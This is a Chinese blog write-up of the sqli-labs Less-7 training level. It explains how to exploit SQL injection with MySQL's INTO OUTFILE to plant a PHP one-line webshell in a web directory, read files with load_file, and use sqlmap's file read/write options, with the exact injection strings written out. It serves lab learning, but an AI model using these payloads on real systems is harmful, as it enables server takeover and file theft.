Less-7(文件读写操作)

本文详细介绍如何利用SQL注入中的OUTFILE函数将一句话木马写入目标网站目录,实现远程控制。文章涵盖关卡分析、secure_file_priv参数理解及利用、注入过程演示及load_file函数使用,配合SQLmap工具进行文件操作。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

OUTFILE注入

在前面的学习中,我们知道了sql注入中的盲注和双注入是个什么鬼。今天,我门又解锁了一个新的姿势----outfile。

那么outfile是干什么的呢?
简单讲就是将一句话木马通过outfile传入网站目录,然后连上去;然后你就能为所欲为了(理想情况下)。

实战

1. 关卡分析

首先进入我们的sqli-labs,看一下这一关。
和往常一样,提示你用id传入一个参数。我们首先要猜出id的类型。
这里我们采用布尔盲注的时间注入来确定id类型。下面是猜解语句:
?id=1')) and sleep(5) --+
当我们用这个构造的语句去访问数据库的时候,发现网页的返回有5s的延迟。
在这里插入图片描述
因此能够确定id是如此包裹的:(('id'))

接着我们先采用布尔注入的方式看一下,发现true会返回You are in.... Use outfile......的页面,提示你使用outfile;如果是false的话则返回You have an error in your SQL syntax的页面。没有报错信息显示。但是我们依然可以使用order by num 猜出他的字段为3。

因此这道题应该也可以使用布尔盲注解决,强制执行你想要的判断语句,然后根据页面的返回结果可以知道判断语句的正确与否。关于布尔盲注的思路,上一节有讲到,因为思路基本一样,这里就不再多说。

2. 过关斩将

好了直奔重点,来到今天的outfile主题。
在进行outfile注入之前,还是要先补充几个知识点:

2.1 secure_file_priv

在利用sql注入漏洞后期,最常用的就是通过mysql的file系列函数来进行读取敏感文件或者写入webshell,其中比较常用的函数有以下三个:

  • into outfile :将文本写入目标网站
  • into dumpfile
  • load_file : 读出目标网站中指定目录下的文件。

因为涉及到在别人的服务器执行写入的操作,因此这里会有一个参数secure_file_priv会限制以上三个函数的作用。

secure_file_priv有3中情况:

  • 空,表示对导入导出无限制。
  • 有指定目录(secure-file-priv=“xxx/xxx/xxx”): 只能向指定目录导入或导出。
  • null, 禁止导入导出。

因此我们在使用outfile注入的时候,首先要知道参数secure_file_priv是否有指定的目录。我们只能将webshell写入到指定目录下面。同时,执行读写的权限很重要,一般都要是root。

2.2 注入过程

在上面我们已经知道了id的类型。那么下面我们就可以开始outfile
注入了。

  1. 我先告诉大家,如何看自己数据库的secure_file_priv值,以及更改这个值。

    首先连接mysql,然后输入select @@secure_file_priv;
    在这里插入图片描述
    可以看到我这里的是空,也就是允许导入在任何目录下。
    那么如果你的不是,或者是null的话,你可以打开你mysql安装目录下的(默认安装路径是C:\ProgramData\MySQLmy.ini文件,然后找到secure-file-priv
    在这里插入图片描述
    把这个改一下就好了,看以看到我这个也是自己后来改的。

  2. 注入网站
    说先要知道网站的secure_file_priv值。这个还是要用布尔盲注才出来。首先猜长度:
    ?id=1')) and length(@@secure_file_priv)=0 --+
    因为我这里设置为空,所以长度为0就是正解。如果你们不是的话,就先求长度,然后用ascii()+substr()求每一个字母,最后得出指定路径。

    然后进行注入,
    ?id=1')) union select 1,2, "<?php @eval($_POST[python]);?>" into outfile "F:/phpstudy/PHPTutorial/WWW/test.php" --+
    注意:这里的目录我们要用斜杠/,因为windwos路径默认使用的是反斜杠\,但是这里如果使用反斜杠注入会无效。
    在这里,我们将一句话木马插入到了我自己apache的www目录下。
    在这里插入图片描述
    打开目录发现确实存在。然后我们用蚁剑进行连接。
    在这里插入图片描述
    可以看到成功的拿到了网站的目录。


load_file的使用

load_file()用来读取目标网站中的文件信息。

比如:
我们F盘下有一个文件1.txt
我们可以:(这里使用的是less-1的网页)
?id=-1' union select 1, load_file("F:\\1.txt"), 3 --+
在这里插入图片描述
将目标文件的数据读出来。


SQLmap

SQLmap关于文件操作有三个参数。

 File system access:
    These options can be used to access the back-end database management
    system underlying file system

    --file-read=FILE..  Read a file from the back-end DBMS file system
    --file-write=FIL..  Write a local file on the back-end DBMS file system
    --file-dest=FILE..  Back-end DBMS absolute filepath to write to

--file-read xxx读取服务器某文件并保存到sqlmap目录中。
--file-write x1 --file-dest x2 将本地文件x1写入到目标服务器指定路径中的x2文件中。

参考链接:Mysql注入中的outfile、dumpfile、load_file函数详解

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值